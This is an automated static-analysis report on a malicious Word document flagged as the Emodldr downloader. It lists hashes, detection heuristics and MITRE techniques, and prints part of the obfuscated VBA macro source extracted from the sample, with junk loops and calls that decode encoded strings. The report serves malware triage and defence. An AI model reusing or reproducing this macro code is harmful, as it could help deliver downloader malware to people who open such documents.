Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c724609eb3314043…

MALICIOUS

Office (OLE)

208.0 KB Created: 2018-03-20 20:56:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: b833bbbeb45bab440b5f9dfedc32a880 SHA-1: 56f31f6bd4441b53235002d38322abf5f1d5a7f8 SHA-256: c724609eb3314043d01afefb129ce312971f1ff0ae7c7c8fa5d68c1249a6f347
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes CreateObject. ClamAV identifies it as Emodldr, a known downloader. The VBA script, though obfuscated, likely decodes and executes a payload, indicated by the 'nJYDQX' function calls and the presence of a 'macros.bas' artifact. The primary attack vector is likely spearphishing attachment.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53509 bytes
SHA-256: 00fb6c0145cb0080e18900ae357e267a8fc315c392436c2c68d458d3572c673a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ukXAaoFOsDK"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "fJmFIQv"
Function bTQlTkYiQ()
On Error Resume Next
For wqKmFj = Flpqzj To AhiaDI
 ZoARP = qQLEbp * Int(uthnC / CDate(ZaVFG) / 14986 - Atn(64346)) + (18607 + Sin(QVNWuZ) * CJUqu - Int(6235) + 77511 / kPKIvG / vYjjc + itKic)
Next
LBZjmRzkkJp = nJYDQX("1wI@EWXAYGAkBQOAcDA2AwYAMDAkBgMAQGA5AANAUGAzAAOAIDA4AQZAEDAzAgMAQDA2AAZAgN", 2 + 0, 66 + 0)
For ApqEu = XrXSLZ To mvVrz
 OcQap = LzTTPK * Int(Swnlu / CDate(PJXPc) / 54791 - Atn(24272)) + (20963 + Sin(pINCM) * NijOB - Int(34985) + 67399 / DXHID / awJbh + QqNowc)
Next
For EBiwM = fckAv To mESYih
 AqzVHm = NnFvvu * Int(TPWjSw / CDate(NrWhF) / 61568 - Atn(38724)) + (31082 + Sin(WitdZT) * fXKjq - Int(85378) + 43215 / EBjSov / Lihnwb + BGLzEi)
Next
zduFUi = nJYDQX("X1QTAiBAMAgDAjBgYAcDA1AQYAYDA4AwYAYDA3AQMAYDAiBgYAYGAmBgYAMDAwAgYAz7wc", 5 + 0, 62 + 0)
For CQTzJ = IIRYUV To cEwBbn
 WKwlVf = WEVton * Int(CkPTfE / CDate(DQJSds) / 22710 - Atn(94653)) + (17975 + Sin(WQEqr) * hidzm - Int(7508) + 93834 / jhHaTh / vivSum + rmfZu)
Next
For Vacij = JFXZh To qZSpDK
 XKDUf = irPbsl * Int(wlYUq / CDate(QjRGpJ) / 74121 - Atn(18533)) + (39118 + Sin(RAiLH) * ESGwqz - Int(26677) + 89060 / fncuEA / zDulGE + KtiOj)
Next
jKjSHjn = nJYDQX(".8q7wkDAhBgZAEGA4AQZAQDAkBAZAj", 2 + 0, 24 + 0)
For aNZwVh = NuJSV To cKVJO
 KTBaR = VzEwD * Int(jhvCR / CDate(jZXuk) / 9637 - Atn(88585)) + (53563 + Sin(jcDpj) * zVfZn - Int(16261) + 50088 / iBRqB / naZtHd + sQiwjp)
Next
For qiuBw = ufhME To htSWql
 IlIDVT = usPlHZ * Int(GrJCci / CDate(ztjzZ) / 50973 - Atn(75367)) + (15587 + Sin(QwXmj) * ibYhI - Int(25119) + 3947 / vEiAa / JTNGd + rbGwt)
Next
zAHAwvCQt = nJYDQX("UndT,RYGA2AgYAgDAxAAZAkDAlBAMAMDAjBgNAADAMN", 3 + 0, 35 + 0)
For lnzpk = wiJhiu To Avdks
 ZMGvzi = JYfGV * Int(oGbOQG / CDate(sErsb) / 79062 - Atn(37506)) + (69604 + Sin(POqNBT) * frBHSd - Int(46696) + 5956 / MBFQZ / MiXBVU + UIOhf)
Next
For JMcTb = EhUNJ To sRYrYW
 VknzOF = KbXFUY * Int(XwHYtA / CDate(LVzNM) / 10955 - Atn(72667)) + (66644 + Sin(QsvZhR) * NONbO - Int(55678) + 18670 / skLVU / SiWqK + qlBzN)
Next
jiTjZfZfL = nJYDQX("6bLf8gHgjvdDDvnkzZAIGAyAwNAMDAlBAOAYGAlBwYAUDAxAANAkDA3AwYAMDA3AwMAYDAwAQZAgDAzAgYAQDAjBwMAIDAkBAMAEGAiBgMAYDA4AwNAEDA0AgNAMGAyAAOAMDA5AwYAYmfK", 4 + 0, 123 + 0)
For iHMZzv = buKjY To iMhUct
 OfzNY = WDibMN * Int(nwCCT / CDate(QPtXIw) / 96843 - Atn(10830)) + (53993 + Sin(JQZGw) * wKzAQ - Int(48095) + 4169 / SzSJzk / fBqdA + IpPad)
Next
For BjNqJS = qzoRbs To MHfXob
 IqnZaC = fOpkv * Int(qPpoLP / CDate(jTDPl) / 37934 - Atn(75929)) + (69856 + Sin(oZvjis) * aQjQiL - Int(71642) + 98543 / jKrwRr / ZEPpm + oGPXn)
Next
kUqJGRkotTd = nJYDQX("8aSAZAMGAzAwMAQDAiBQNAEDAmBQYAYGA2AwMAEGAiBgYAUGAzAgZAMDAiBgMAUDA3AgYAUGAwAANAMDA0AQZAkDA3AQZAMGA5AwNu3D.Wn", 7 + 0, 98 + 0)
For PoPDw = PYczsU To EiEJvn
 zNWbP = CCccA * Int(XLjsR / CDate(tWCTi) / 49601 - Atn(23426)) + (90006 + Sin(iojzT) * NcBSno - Int(89953) + 45638 / vAwkz / VqnCB + XifwP)
Next
For JOKzZ = lJOBIq To zkwnz
 FkCITB = LEoCWq * Int(kMZMOh / CDate(LbADLu) / 71102 - Atn(9246)) + (40387 + Sin(NwHObH) * qvwXj - Int(40963) + 23860 / REpnKl / PDtJC + IHsGj)
Next
NuwYjWJjsnR = nJYDQX("oH4AwYAADAiBQYAMGA3AAMAIDAlBQYAADAyAQMAUGAwAAOAUGAhBAMAEDAmFfhT@N", 7 + 0, 57 + 0)
For pYjXIF = VTlIf To nYtqv
 KNoiE = SEAho * Int(RwjXG / CDate(jhirQF) / 58879 - Atn(90590)) + (28171 + Sin(OjPQw) * ZbApfC - Int(80805) + 577 / nfhqi / QRLJN + TwjDJG)
Next
For PYZHSX = UJDPuc To FLLHf
 VsQtG = CruwoV * Int(wGbVMq / CDate(NFappT) / 77310 - Atn(21388)) + (31163 + Sin(NwwOM) * IjBbV - Int(97950) + 49410 / PtSfG / qwQwEP + aEmCq)
Next
zHpQn = nJYDQX("1TBABQZAgDAhBQYAUGAyAwMAkDAmBQOAUDAiBANAIGAhBQMAgDAkBgZAYGA2AAOAEGAiBwYAQDAzAANAIDAjBQNAADAlBgMAgDAzAQNAADAzAgZAEGAiBwNAADA1AQZAQDA0AgNAUGAjBwMAgDA5AQNAgDw@f@", 5 + 0, 150 + 0)
For pipWOj = ToKPNO To NawBIE
 POiBK
... (truncated)

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